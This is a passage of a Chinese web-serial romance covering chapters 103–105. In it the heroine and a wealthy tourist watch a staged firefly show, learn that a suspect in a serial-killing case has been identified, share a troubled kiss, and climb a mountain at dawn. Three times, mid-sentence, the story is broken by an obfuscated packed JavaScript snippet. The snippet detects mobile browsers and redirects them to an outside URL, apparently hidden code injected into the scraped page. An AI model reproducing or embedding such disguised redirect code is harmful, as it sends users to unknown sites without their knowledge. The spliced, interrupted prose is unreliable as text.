睁开眼,哪里还有蛋糕,影厅里的照明灯已经大亮,观众陆续离场,只有周拾秋还坐在座位上,脑袋靠着庾林的肩膀,双手抱着庾林的胳膊,口水差点滴到庾林袖子上。 周拾秋赶紧擦擦嘴,从座位上弹了起来,转身便对上围巾包裹下的笑眼。 “梦到啥好吃的了?怎么叫都不醒。”庾林带着玩味的笑意问道。 周拾秋脸颊微微发烫,顺势给了庾林小腿一脚,嘴硬道:“你选的什么破电影,害我都睡着了!” 庾林捂着小腿低哼一声,并未跟周拾秋计较。 等两人走出影厅,检票口已经排起了长队,看样子在准备看下一场。 周拾秋这才注意到,排队的观众基本全是情侣,目标也都是她刚才看电影的那间影厅。 她回头瞥了一眼影厅名字——风雨厅,奇怪的名字,但没什么特别之处。 回想着刚看的影片故事,她忍不住嘀咕起来:“也没多好看啊……什么营销这么夸张?” 并没有给她太多时间思考,庾林回头催促:“导游小姐,该去下一站了。” “下一站?” 周拾秋纳闷,作为导游的她没有任何头绪,而游客庾林似乎已经有了新的安排,她只能问,“去哪儿?” “吃饭。” 问了也白问,庾林的回答像是回答了,又好像没有回答,又或者说答非所问,一时问不出所以然,周拾秋干脆闭嘴跟随。 绕了大半个滨山区,庾林的车停在了一栋白色大楼前,外表四四方方,平平无奇,楼顶挂着一块霓虹灯招牌,上面写着“食缘饭店”。 周拾秋都没听说过的地方,真亏庾林能找过来。 庾林带着周拾秋走进大门,迎面而来的是其他客人异样的眼神。 虽说电影院也有不少白眼,可最后熄灯后,有两个多小时都在黑暗中,也就没人再关心有个理想者与他们同场了。 可到了吃饭的地儿,情况就完全不一样了,明亮的环境下,注定这种异样的目光会伴随他们从开始到结束。周拾秋甚至怀疑庾林能不能忍受到晚餐结束。 其实周拾秋觉得挺奇怪,一向喜欢包场的庾林,今天却没使用钞能力。 理想者的钱到了禁仿区也不好使了? 爱财的周拾秋肯定了一点:绝对好使,到哪儿都好使! 至少饭店的服务生就因为钱而对庾林十分友善,确定他有预定后,便带着他与周拾秋坐电梯上三楼,进了一间观景包间。 一开始,周拾秋还不清楚,这栋不临山,也不靠海,就坐落于滨山区街道上的一间饭店,能观赏到什么景。 街景? 等她进屋,推开一扇古色古香的木质浮雕窗户时,她终于明白这家店到底以什么为卖点。 四四方方的建筑中,留有一道天井,天井中是另一片天地。绿油油的草地上,生长着一棵繁茂的梅树。 枝桠向四周伸展,小巧玲珑的花朵依附在枝桠上,傲然绽放出成片的鲜红,连风都染上一股淡淡的清香,悠然飘入房中,让观景的人仿佛置身一片梅林之中。 经服务生介绍,周拾秋才知天井下的梅花树龄逾百年,是这家饭店的镇店之宝。 为了窥其全貌,每天都有客人争抢预约名额,吃饭都是其次,赏花倒成了选择这家饭店的主要理由。 由其是三楼仅有的八个包间,更是赏花的必争之地。 下面两层是大厅,虽然同样可以赏花,却隔着厚厚的落地窗,只亏得其貌,不知其味。只有三楼这八间房,可推窗赏花,细嗅花香,连吃饭的心情都会更加舒畅。 将自家镇店之宝吹嘘一番后,服务生又神神秘秘地说道:“当然,这只是本店吸引众多客人前来的原因之一,至于另一个原因嘛,就是可遇不可求了。” 服务生像个谜语人,不将话说透,眼神中透着一股天机不可泄露的味道,说罢便退出了房间。 周拾秋一头雾水,只道这饭店就爱故弄玄虚。 她站在窗边向下张望,从楼下两层的落地窗可以看出饭店的生意很旺,大厅里也坐满了人。 再看三楼开在四面墙上的木窗,每间房中都有一男一女,或对坐窗边闲聊,或探出两个脑袋向下张望……看来还真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187370|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座无虚席。 “这家店也学皆来食,搞饥饿营销和噱头?位子不好订吧?看你是理想者,铁定会刁难你。”周拾秋站在窗边赏着花,随口问道。 “还好,没有人会跟钱过不去。”庾林坐在桌边,漫不经心地回答。 听他这么说,周拾秋便知,肯定又被敲竹杠了。 周拾秋面带讥笑,走回桌旁坐下,给自己倒了一杯茶,抿一口,笑道:“一般搞噱头的店,味道都不怎么样,你怕是花冤枉钱了。还不如把钱给我,我帮你找家物美价廉的店。” “选这家店倒不是为了吃,只是听说它还有一个可遇不可求的必来理由。传说那百年古梅有灵,若客人与古梅有缘,可见夜间绝景,对古梅许愿,必能心想事成。”庾林望着窗外解释,“这也是店名食缘的来历。” 庾林讲得头头是道,周拾秋听着却在偷笑。 “碰运气啊,那你不如去买彩票。”周拾秋无情调侃。 一听就是饭店的营销手段,故事编得一套一套,骗得傻子心甘情愿掏钱上当。 周拾秋上下打量着庾林,心里嘀咕着:“没想到庾木木这种生意人也这般迷信,还能被这种营销骗了。” “我运气好像还不错,万一真能见到呢?”庾林露出一丝意味深长的笑,仿佛胸有成竹,笃定今天他一定能见识这家店所谓的绝景。 周拾秋不以为然,低声道:“那你慢慢等,要是这家店味道不好,我就扔下你先回家了。” 面对周拾秋的威胁,庾林只是无奈地笑了笑。 话虽这么说,但周拾秋哪儿敢真把庾林一个人扔在禁仿区,她只祈祷着这家店的菜品别太让人失望。 同时,她也希望庾林的等待不是徒劳,好不容易来次禁仿区,让这位理想者朋友失落而归,似乎有损禁仿区形象。 大概是祈祷奏效,当晚的饭菜很可口,并没有让周拾秋失望。 可惜饭吃到一半,出了点岔子,房间里的灯突然熄灭了,吓了周拾秋一跳。 她摸索到窗边张望,只见整栋建筑都陷入一片黑暗。四周隐隐传来嘈杂的声响,应该是因为突然的断电,正在用餐的客人抱怨起来。 这栋建筑外,还能看到光亮,显然不是停电。 可怎么偏偏这家饭店断电了呢? 跳闸?不至于吧…… 周拾秋胡思乱想着,下意识地摸索回桌边,寻到了坐在桌边一动不动的庾林。她一边从身后拽住庾林的衣服,一边感知着四周的气息。 虽然觉得可能性不大,但她还是本能地想要排除进化者找上门的可能性,这种担忧让她下意识地护在庾林身后。 或许是觉察到她的紧张情绪,庾林转身握住了她的手,声音轻柔地问:“你是在担心我?” 被如此直白地戳穿,周拾秋顿感窘迫,红了耳廓。 万幸黑暗中视线不清,周拾秋故作镇定,抬手敲了敲庾林的脑袋,凶狠地骂道:“担心你干嘛?我怕黑不行吗?看你找的什么店,吃饭还得摸黑么?” 被骂了一顿的庾林却并未生气,反而笑出了声。 他突然站起身,双手环住了周拾秋,轻轻在背上一推,便将周拾秋揉进了怀中。 周拾秋只觉脑子一片空白,浑身的血液却随着加速的心跳沸腾起来。 后背有一只手在轻拍,周拾秋的脸颊紧贴在庾林的胸口,耳边充斥着心跳声,分不清是她的,还是庾林的。 柔软与温暖将她包裹,令她一时失了神,手就抵在庾林身前,却没有用力将其推开。 庾林的下巴轻轻抵在周拾秋的头顶,低沉又轻柔的声音,如风一般拂过周拾秋的耳畔: “不用怕,我在,很快就有光了。” 103. 第103章 大概是一句借口,让事情向着她未曾设想的方向发展了。 周拾秋从不怕黑,怕的只是事情脱离她的掌控,就比如现在,庾林每一个安慰的举动,都冲击着她的理智,让她不去思考后果。 就在她迷失于黑暗中时,余光瞥见窗外亮起了微弱的光,隐隐约约,时隐时现,同时,窗外嘈杂的抱怨声,不知何时变成了欣喜的惊呼。 怀抱着她的人轻轻拍了拍她的肩,抬手指向窗外,“你要的光出现了,不去看看?” 声音轻柔地落入耳中,那个怀抱缓缓松开,有人在背后轻轻推了她一把,她便迷迷糊糊地抬步往窗户方向走去。 周拾秋始终处于意识恍惚之中,鬼使神差地听从了那人的指示,站在窗口往外看去。 一开始她不知道自己要看什么,直到黑暗中飘起星星点点的微光,隐约照出绿色的草丛,照出树枝编织的网,还有网上绽放的花朵。 天井中出现了一幅绝美的画。 与阳光下和灯光下不同,此刻的百年梅树仿佛在向周拾秋展示它有灵的一面。四周飞舞着如梦似幻的光点,在黑暗中留下光的轨迹,将整个天井下点缀得如同幻境。 庾林站在周拾秋身旁,轻声说:“这就是食缘饭店的夜间绝景,看来真让我们遇见了,要许愿吗?” 在庾林说出这句话时,周拾秋注意到其他窗口里的男男女女,全都双掌合十,十指弯曲相扣,闭眼对着天井许愿。 周拾秋只是扭头看向庾林,借着那梦幻一般的光影,看着庾林并不清晰的脸,摊开手掌,伸到庾林面前,含笑回道: “与其对它许愿,不如把花给它的钱给我,说不定愿望我能帮你实现呢。” 庾林一掌拍在周拾秋的手心,无奈地笑道:“真是财迷心窍。不用了,心愿这种事,我习惯靠自己。” “啧,嘴硬。” 周拾秋收回手,笑着骂了一句,转回头,继续欣赏这难得一见的景象。 不一会儿,天井中的光逐渐消失在草丛里,而饭店的灯也随之亮起。 服务生会告诉每一位客人,他们是最幸运的一批客人,很多人来十几次都碰不见这样的绝景,却被他们遇见了。 服务生还说:“在这可遇不可求的时刻,向着古梅许愿,心愿都会被神明听见,那你的愿望一定会实现,希望方才你们没有错过许愿的时机。” 周拾秋从不相信什么神迹,更不觉得世上有那么多巧合的意外,要么是有人别有用心,要么是有人精心安排。 对于方才那令所有客人赞叹不觉的绝景,周拾秋表现得波澜不惊。 她安静地坐回座位上,继续用餐,只是眼神有意无意瞥向庾林,漫不经心地说了句:“讲讲吧,这绝景你怎么弄出来的?” 庾林倚靠在窗边,坦然回答:“不是我,是饭店老板,人工饲养了不少萤火虫,挑着日子从天井下的隐秘通道里放入草丛。我只是花了点钱,打听到这个秘密,并用钱替老板定了放虫的日子。” 这个答案在周拾秋的意料之中。 难怪方才店里断电庾林能表现得那么淡定。 他能花钱预定难抢的三楼包间,自然也能花钱让饭店为他上演所谓的绝景。 果然金钱能解决的问题都不是问题。 “不过,你怎么知道这镇店绝景是我花钱买的,就不能是我们运气好吗?”庾林疑惑地问。 周拾秋冷笑一声:“我们庾总监连这饭店有什么绝景都打听到了,费那么大劲预约到三楼包间,却看不到绝景,你会甘心吗?” “你是不相信自己的运气,还是不相信我的运气?” “都不是,我只是相信庾总监不是一个愿意把结果交给运气的人。” “这么懂我?” “哼,看惯了有钱人的嘴脸罢了。” 嘴上虽然说着不领情的话,但对于看到一场特别的演出,周拾秋内心是高兴的。 说不信神灵,可刚才周拾秋还是背着庾林暗自在心中许下一个心愿,她希望有一天,进化者能像普通人一样生活,走到阳光下,拥有正常人的情感。 如果这都能实现,那这世上大概真有神灵了。 晚餐结束,庾林将车开回一周面馆。 周拾秋正准备道别下车,却被庾林叫住,本以为他又想找茬,结果见庾林一脸严肃。 “有件事,在我来这里前一直在犹豫,不知道该不该告诉你。是关于连环凶案的进展。”庾林说。 周拾秋闻言,神情顿时紧张起来,关心道:“进研所抓到人了?” 庾林摇了摇头,“很可惜,还没有,但有一人的身份已经明确了。” “谁?”周拾秋轻声询问,双手紧紧攥在一起,心脏猛烈跳动,十分担心下一秒从庾林口中听见百泉的名字。 庾林盯着周拾秋的眼睛看了一会儿,径直道出了那个名字。 “纪骞宏。” 这个名字周拾秋全然没料到。 原来褚成舟和施煦去调查了石桀,发现石桀身上并无异能残留,并确认事发当天,石桀从未收到过委托任务。 石桀的证言同样印证了桑云海很久不使用手环,也就是说,瑞波恩科技提供的线索出了问题。 于是顺藤摸瓜,褚成舟和施煦走访了一趟瑞波恩科技,调取桑云海的委托记录。 结果与预想一样,桑云海的手环记录显示,最近几个月没有任何活动记录,长期处于电源关闭状态。 再问给进研所提供信息的员工是谁,才知是瑞波恩科技协议主管纪骞宏。 褚成舟和施煦找纪骞宏问话,可施煦嗅到了纪骞宏身上的异能气息,纪骞宏见身份暴露也不装了,当场使用异能逃跑。 褚成舟立马通知了进研所,对瑞波恩科技进行了全方位调查。 除了纪骞宏,没有再发现其他进化者。 而检测发现,纪骞宏的异能值与几起自杀案现场发现的一种异能值高达99.99%相似,完全可以确定,这个进化者参与了连环凶案。 于是,纪骞宏成了第一位被确定身份的凶手,进入通缉要犯之列。 “听褚成舟说,进化者假扮齐小姐来找我那次,施煦在逃生通道里也闻到了相似的味道,基本算是弄清了那日为何进化者能悄无声息地出现,又不留痕迹地离开天宫酒店。”庾林慢条斯理地向周拾秋说明。 周拾秋好奇地问:“纪骞宏的异能到底是什么?” “空间转移。”庾林的回答掷地有声。 虽然只是中阶变异系异能,可这也算是十分强力的异能了,特别对于逃跑而言,属于有点逆天。 此刻周拾秋也理解了,为何纪骞宏一个人能当着褚成舟和施煦的面逃走,面对如此棘手的异能,停职无法申请到特殊武器的褚成舟自然束手无策。 真亏她还一时心软,想着都是同类的份上,没有举报纪骞宏,没想到他就是连环凶案的凶手之一,难怪那伙人知道那么多消息。 周拾秋心里五味杂陈,有后悔,也有唏嘘。 脑子里乱七八糟思索时,只听庾林又说了句:“顺着纪骞宏这条线,想来用不了太久,就可以抓到那伙人了。” 庾林说话时,语气很平淡,却莫名透着一丝担忧。 周拾秋没有读心异能,看不出他究竟在想什么,只好直接问:“你害怕?” 庾林闻言微微一怔,随即放松了有些紧绷的身子,窝在驾驶座上,下意识抬手摩挲着方向盘,低声呢喃:“如果那伙人被捕,这手环就再无使用的意义了。” 一瞬间,周拾秋似乎明白庾林话中含义。 他害怕的不是那伙进化者,而是案件结束,周拾秋就没有理由再保护他了。他们之间会再减少一分联系,直到周拾秋如愿解决他身上的问题,他们便再无瓜葛。 不知为何,周拾秋竟莫名有些可怜庾林。 “干嘛!”周拾秋故意装傻,一脸嫌弃地盯着庾林,双手护在胸前,骂骂咧咧道,“你这变态,交换身体上瘾了?啧,你是不是觊觎我身子很久了!” “你……”庾林闻言脸噌地红了,本想解释什么,一时又说不清,直接被气笑了。 “咳,那伙人的威胁就算解除了,你这傻子不还有心病吗?没最伟大的危代人保护,谁知道你会在哪个犄角旮旯暴毙呐?”周拾秋一脸傲娇,“但你别想趁机占便宜哦,你可不是我的对手。” 庾林不知是被她安慰到了,还是被她说得无语了,脸上愁容消散,点头附和:“你说的都对,我哪儿敢包藏祸心。” “知道就好。” 周拾秋得意一笑,正准备开车门,庾林的手却再次抓住了她的胳膊,她皱着眉问,“还有事?” 庾林犹豫片刻才道:“你心里常想的那个人,是警方通缉中的夜白鹭百泉,她的照片我曾见过。你在担心什么?” 果然还是瞒不过拥有读心能力的人,周拾秋释然地叹了口气,重新坐好,慢悠悠地说:“五年前我就是借用百泉的账号当危代人,后来出事,她成了我的替罪羊。” “这么久了才后悔没为朋友澄清?”庾林不解。 “不是!”周拾秋狠狠瞪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194138|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庾林一眼,“她也是进化者,而且异能正是身体改变。” 庾林瞳孔微张,“你是担心连环凶案与她有关?” “嗯……”周拾秋不情不愿地点了点头。 庾林转身,抬手轻轻抚上周拾秋的脑袋,一边顺着头发抚摸,一边轻声安慰:“就算你是进化者,也帮不了所有人,如果她真的涉案,那是她自己选择的人生,与你无关。” 终究还是被看穿了,一句话哽在喉咙里,最后又被咽了回去,周拾秋放弃了强辩。 庾林的话并没有错,就算有犯罪基因作祟,可做出选择的终究是进化者自己。 如果有一天犯罪基因在她体内彻底觉醒,她是否能阻止自己走上歧途呢? 当她迷惘之时,轻微的触感带着温暖的体温,一点点侵蚀着她的理智,心中的躁动让呼吸变得急促。周拾秋的眼神逐渐迷离,而眼前的人仿佛蒙上了一层奇怪的滤镜。 面前的人散发出美味的气息,周拾秋咽了咽口水,小声询问:“我可以吃掉你吗?” 庾林先是一愣,随后身子前倾凑近,声音低沉地回了句:“可以。” 一个轻柔的吻便落在了周拾秋的唇上。 似乎有一壶水烧开了,在周拾秋的大脑里疯狂冒着热气,填满了整个脑海,让她忘记了一切。 她是谁? 她在哪儿? 她在做什么? 一切都不太重要,她只是闭上眼,手指探向身前的温暖,将那份温暖拉得再近些,更多的索取。 那淡淡的香气,像是她的毒药,令她沉迷。 长而有力的手指下滑,拂过她的耳畔,穿过发丝,托住她的后颈,如同触碰到什么开关,让这份纠缠越演越烈。 心里似乎有个声音一直在对周拾秋低语:“吃掉他,你想要的一切,请尽情享用。” 周拾秋突然浑身一激灵,强烈的即视感,她仿佛又跌入了某场噩梦,恐惧瞬间驱散脑中氤氲的雾气,让她恢复了理智。 睁开眼,周拾秋一把推开了庾林。 庾林喘着气,眼神从迷离逐渐转为疑惑,轻声询问着她:“怎么了?我弄疼你了?” 周拾秋红着脸,又羞又恼,厉声吼道:“不对,不对,你说的都不对!进化者没有选择,都是犯罪基因的驱使,刚才就是!对你这样,不是我的选择,你懂吗?!” 她很气,并不是气与庾林做了什么,只是这么做并非出自她真心,而是犯罪基因唆使,这让她觉得很懊恼。 懊恼到心里憋屈,泪水便忍不住涌入了眼眶,随时准备夺眶而出。 庾林被吓得不轻,想上前安慰,却又被她挥着双手推开。 “你能不能别烦我,别出现在我眼前,你一定要看我在你面前丢脸,在你面前失控吗?我是进化者,给不了你想要的感情……离我远点不行吗……”周拾秋强忍着泪水,憋红了眼,歇斯底里地说着那些藏在心底的话。 庾林没有因此放过她,终是捉住了那两只挣扎的手,往身前一拉,然后便将周拾秋禁锢在他的怀抱中。 一只手轻抚着周拾秋的后脑勺,一只手轻拍着她的后背,庾林轻柔的声音在耳畔响起:“没关系,是什么都没关系……真的没关系……我只是怕不在你面前出现,你会把我忘了……” 周拾秋起先拼命挣扎无果,便一口咬在庾林的肩上,以此发泄心中憋屈,渐渐地,失控的情绪终于稳定下来。 周拾秋松了口,才想起自己刚才那一口有些狠,又担忧地询问庾林疼不疼,说着就想扯开庾林的衣服查看。 庾林见她恢复正常,才松手后撤,一只手打断了周拾秋拉扯他衣领的手,另一只手抚上周拾秋的脸颊,用指腹抹去眼角泪痕,笑道:“不疼,导游小姐该回家休息了,明天的导游工作还得继续。” “你!” 周拾秋一时不知该骂他什么好,都这样了还想着旅游的事,“蠢货……我都说了不会喜欢你,还不回你的自由区?” “我不也说了,你喜不喜欢我都没关系,但得让你忘不了我。”庾林冲她微微一笑。 周拾秋从不知道,还有人脸皮能厚过她,简直大开眼界。 她冲庾林翻了个白眼,有些气闷地下了车,重重地关上车门,没有留下一句告别,就径直往街对面的面馆方向走去。 庾林也没说什么,只是一直等到周拾秋走到面馆门口,才驱车离开。 看他去的方向,应该是回旅馆。 周拾秋直到汽车尾灯没了影,才走进面馆,瞬间装作无事发生,帮忙店里招呼生意。 104. 第104章 12月30日,距离新年到来还剩最后两日,滨山区大多商铺营业完今天最后一天,便会进入跨年歇业假期,一般都会从12月31日休息到1月2日。 一周面馆也是如此,所以今日父母还要开店一天。 昨晚,周拾秋和父母商议,想让父母从明年起,缩短营业时长,将营业模式从一日三餐改为一餐,中午11点开门,营业到下午3点,只负责午餐供应。 母亲并没同意,虽说债务已还清,但她依旧有所顾忌。一家的生活开销、周予夏的学费,用钱的地方挺多,她并不愿意让周拾秋一人承受压力,便以忙惯了为由,驳回了周拾秋的提议。 不过,为了不让周拾秋担心,母亲还是缩短了营业时长——早上7点开店,下午3点关店。 作为L463年最后一个营业日,周拾秋本想睡到6点再去面馆帮忙,结果凌晨4点就被一通电话吵醒。 周拾秋半睁开眼,带着起床气接通电话,还没开口骂人,就听见电话那头传来庾林精神抖擞的声音:“下楼,该出发了,导游小姐。” 挂掉电话看了看手机,时间显示刚到4点,外面天都还是黑的,周拾秋气得猛捶被子,然后被齐绮一脚踢下了床。 小区楼下,周拾秋一脸不爽地站在车门边,透过窗户,虎视眈眈地盯着庾林。 “大哥,你是不是有病?凌晨4点,你打算带我去打劫哪一户?”周拾秋质问。 “爬山。”庾林答得理直气壮。 周拾秋都快忘了这一茬了,庾林有这种自虐癖好。 出发前,她还抱有一丝幻想:也许爬山只是庾林的一个借口,说不定他有别的安排呢? 半个小时后,当真的跟庾林站在山脚下时,周拾秋彻底服气了,庾林口中的爬山是真的爬山,不掺一丁点水分。 这里是林月山脉中的一条登山观光线路,可从山下坐十分钟缆车到半山腰,然后徒步大约1个小时便抵达山顶。 相比上次徒步两小时帮庾林下山,已经算是比较轻松的登山行程,但依然把周拾秋累得够呛。 一路上,周拾秋一边抱怨着,一边走,可每当庾林提出要不要背她时,她又总是毫不留情地踢庾林一脚,然后嘴硬地回怼,让庾林别看不起人。 自昨晚那事后,周拾秋决定减少与庾林的直接接触。 对于这种不知道下了什么药的蛋糕,她心有余悸。 庾林看出了她的心事,没有拆穿,只是笑说滨山区的老人都比她爬得快。 这倒是实话。 这条山道上一大早就有不少人,男女老少都有,一路上周拾秋遇上不少登山者超过她,并向山上走去。 从不登山的她不知原来禁仿区也有这么多爱好天不亮就登山的人。 不过除去一看就有登山经验的人,也不乏跟她一样,累得大口喘气,每走一截就想停下来休息几分钟的人。而这种人,多是年轻小情侣,一边登山还一边打情骂俏。 见得多了,周拾秋忍不住拦住一对小情侣,问:“你山顶上有啥稀奇玩意儿?这么多人天不亮就往山上跑?” 被她拦住那个女孩抿嘴偷笑:“你从外地来旅游?一个人?” 听女孩这么问,她也不好意思回答自己就是本地人,有种愚昧无知的羞愧感,于是她指了指站在边上等她的庾林,说:“嗯,外地来的,收了那位老板的钱,带他找个爬山的地儿,这附近不就林月山最出名嘛。” 那对小情侣看到庾林的打扮后,收敛了笑意,对视一眼,眼神中多了一丝不理解。 男孩开门见山道:“那这地方恐怕不太适合你们。” 女孩悄悄拉了拉男孩的袖子,似乎怕他说话太冲,扫了陌生人的面子。 男孩被劝得有些动摇,说话的语气稍微缓和了些,没有方才那般尖锐,“林月山的登山道有个传说,与喜欢的人一起登上山顶看到凌沪市清晨第一缕阳光,便可获得山神的祝福。” 女孩点点头,瞥了一眼庾林,故意压低声音对周拾秋说:“你当导游的话,还是下山去附近别的徒步山道吧。” 说罢,这对小情侣就带着异样的眼神离开了。 周拾秋总觉得那两人看她的眼神充满了同情,让她有些无语。 看着小情侣的背影逐渐消失在前方山道,周拾秋带着审视的目光,回到庾林身旁,讥笑道:“庾木木,你选这里,不会也是听了什么山神传说吧?你很迷信哦。” 庾林笑了,转身继续往山上走,若无其事地回答:“这个传说可比昨晚的绝景便宜多了,不去看看吗?” 周拾秋一脸无语,赶紧追了上去,嘴上劝说:“别傻了,这些一听就是滨山区为了打造网红景点编的鬼故事,这你都信啊?” “来都来了,反正旅馆没有健身房,就当健身了。” “啧,你倒是不累!” “要我背你吗?” “不用了!” 明知是一场营销的噱头,周拾秋还是陪庾林爬上了山顶,并赶上了日出。 林月山并不算太高,所以这里看到的日出远没有上回接下山委托看到的日出令人震撼。 而聚在山顶的人,大多都因为一个不知从何而来的山神传说,想要收获祝福。 周拾秋并没有这种想法,但看着山顶那些满心期许的人,她还是由衷希望他们的努力最终不会落空。 毕竟,天还没亮就能起床爬山的狠人们,做什么事不能成功呢? 不过下山的路,周拾秋基本是被庾林搀扶着走的。她感觉腿都要散架了,哪儿还顾得上保持距离,能用自己的腿走到最后,已经是她最后的倔强了。 坐上下山的缆车时,周拾秋咬牙切齿地警告庾林:“你要再拉我爬一次山,我手环一扔就连夜遁走,谁还管你是死是活!” 不知是不是她的威胁起了效果,下山后,庾林开车直接回了旅馆。 周拾秋有些意外,没想到今日行程就这么简单结束了。 她下车同庾林道别,刚打算走回家,就被庾林拦了下来。 “想什么呢?只是回来暂作休整,下午还有地方要去。”庾林推着她就往旅馆走。 “还要去哪儿啊?要不改天吧,我看你样子最近几天都不打算走了,不用急着今天去吧?我好累啊,你让我回家睡一觉行不?”周拾秋一脸抗拒。 庾林笑问:“今天才刚开始就走不动了?要我抱你上楼吗?” “不用!我自己会走!” 周拾秋条件反射地快走几步甩开庾林,回头怒视,一脸戒备。 “别那么大敌意,上去歇会儿,我这不得防着花钱请的导游小姐遁走吗?” 庾林话中有话,明显是对周拾秋此前的威胁做出反击。周拾秋咬着牙,深吸几口气,才终于忍住了想揍庾林一顿的心。 说是休整,其实就是爬山出了一身汗,庾林回旅馆洗了个澡,趁他洗澡的功夫,周拾秋倒在床上补了个觉。 不过,她实在不知庾林这行为是勾引,还是心大。 原本因疲倦带来的困意,随着水声,逐渐被冲得不知去了哪里,她便听着水声,想入非非。 不过前后出现的两次敲门声,成功打断了她的思绪。 第一次有人送来吃食,第二次有人送来衣物,而周拾秋忽然理解为何庾林要留她在房里,敢情是让她代收物品。 周拾秋一边不客气地吃着食物填饱肚子,一边敲了敲卫浴间的门,告诉庾林,他订购的东西送到了。 几秒后,卫浴间的门开了一条缝,热腾腾的水蒸气透过门缝往外窜,而门缝后露出一只眼睛,接着传出庾林的声音。 “把换洗衣服给我。” “哦……” 周拾秋有些不满被使唤,却还是顺从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199486|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地放下手中吃食,擦了擦手,开始拆收到的衣服包装。 结果令周拾秋有些意外,那些衣服竟都是守旧者的风格,鲜艳大胆的配色,随性的版型。她光是想象庾林穿上这些的反差感,就觉得莫名好笑。 然后从外套拆到裤子,再从裤子拆到毛衣,从毛衣再拆到围巾和饰品,最后拆到内衣时,周拾秋收敛了笑,慌张地将其塞进衣服里,然后假装没看见,抱着衣服回到卫浴间门前。 周拾秋敲了敲门,不一会儿,脚步声靠近,卫浴间的门半开,一条光溜溜的胳膊和大半个肩膀从门后伸了出来。 一晃眼,周拾秋看到那肩膀上留着一块淤青。 什么时候受的伤? 周拾秋好奇地多看了两眼,一时忘了正事。 那只手凌空挥了挥,庾林疑惑的声音从门后传来:“衣服,不给我吗?” “啊!” 周拾秋回过神,急忙将衣服揉成一团,一整个塞了过去。 卫浴间的门再次合上,周拾秋踱回床边,仔细思索着庾林最近怎么会受伤,然后便想起了昨晚车上的事。 大约在相似的位置,周拾秋狠狠地咬过一口。 一时有些尴尬,周拾秋起身出了门。 没走几步就听手机铃声响起,她拿起一看,来电显示“金主爸爸”。 大概是慌忙中关门太重,响声惊动了庾林。 周拾秋回过头,没见庾林追出来,算算时间,这么短时间庾林大概连衣服都没穿好,这么急急忙忙跑出卫浴间打电话干嘛? 她带着疑问接通电话,电话那端立马传来庾林焦急的声音。 庾林:“你走了?” 周拾秋:“没,我下楼买点东西。” 庾林:“哦……你想要什么,告诉我就好。” 周拾秋:“我是你关押的囚犯么?” 庾林:“……快去快回。” 大约十分钟后,周拾秋一脸不爽地回到房间,扔给庾林一个袋子,袋子里装着外敷的膏药。 “这是?”庾林疑惑。 周拾秋指了指他的肩膀,不自在地回答:“涂上,能好得快些,别留着伤,就跟遭遇家暴了一样。” “家暴吗?” 庾林露出意味深长的笑。 周拾秋这才意识到用词不谨慎,改也来不及了,眼睛在房中扫视一圈,立马岔开话题道:“庾总监很适合守旧者装扮嘛,看起来活泼多了。” 庾林低头看了看身上衣物,说:“看来导游小姐对这身衣服很满意,我还买了与这套搭配的情侣装,导游小姐还没拆到,要换上吗?” 说着,庾林就在一堆包装盒里寻找另一套衣物,吓得周拾秋直跺脚,“庾木木,你脑子进水啦!我才不穿什么情侣装呢!” 庾林停下寻找的动作,笑道:“开玩笑罢了,下单时确实看到了,知道你肯定不穿,所以没买。不过买的换洗衣物而已,你要洗个澡换上吗?” 他十分坦然地说出这些话,周拾秋的脸却已经跟水烧开了一样热到冒烟了。 确实活泼,活泼得有点过头了! 她不知道庾林是故意捉弄,还是神经大条,一手攥紧拳头,一手将拳头捏得咯咯作响。 “庾木木,你觉得像话吗?别逼我揍你!” 说话间,金色的波纹在周拾秋的眼中流转,一副随时可能发动进攻的架势,房中的空气都仿佛冻结了一般。 庾林无奈地捏了捏眉心,妥协道:“随便问问,别生气。要不你回家洗洗再睡一觉,我下午再找你?” 房中一切恢复平静,周拾秋扬长而去。 身后传来庾林的呼声,叫她把衣服带回去,可周拾秋头也不回地迅速逃离了这栋楼。 周拾秋红着脸逃离了那个时刻引诱她犯罪的魔窟,嘴里嘀咕着:“庾木木这个混蛋,脸皮是不是越来越厚了?” 105. 第105章 周拾秋回到家时,所有人都已经出了门,她简单冲了个澡,便倒头大睡。 庾林在她眼前晃悠的这两日,她的心情总是时好时坏,就跟坐过山车一样。她想试图不去在意,可身体和大脑似乎都不受她控制。 理智告诉她该适当保持距离,可等她回过神时,她已经向庾林靠近。 这回笼觉睡得昏昏沉沉,大概是脑子里装的东西太多了,连梦都嘈杂得吓人,等她再睁开眼,又想不起做了什么梦,只觉得吵闹。 周拾秋看了看时间,已经接近中午,肚子开始抗议,她索性去面馆蹭顿午饭。 走到一周面馆才发现,店里热闹得紧。 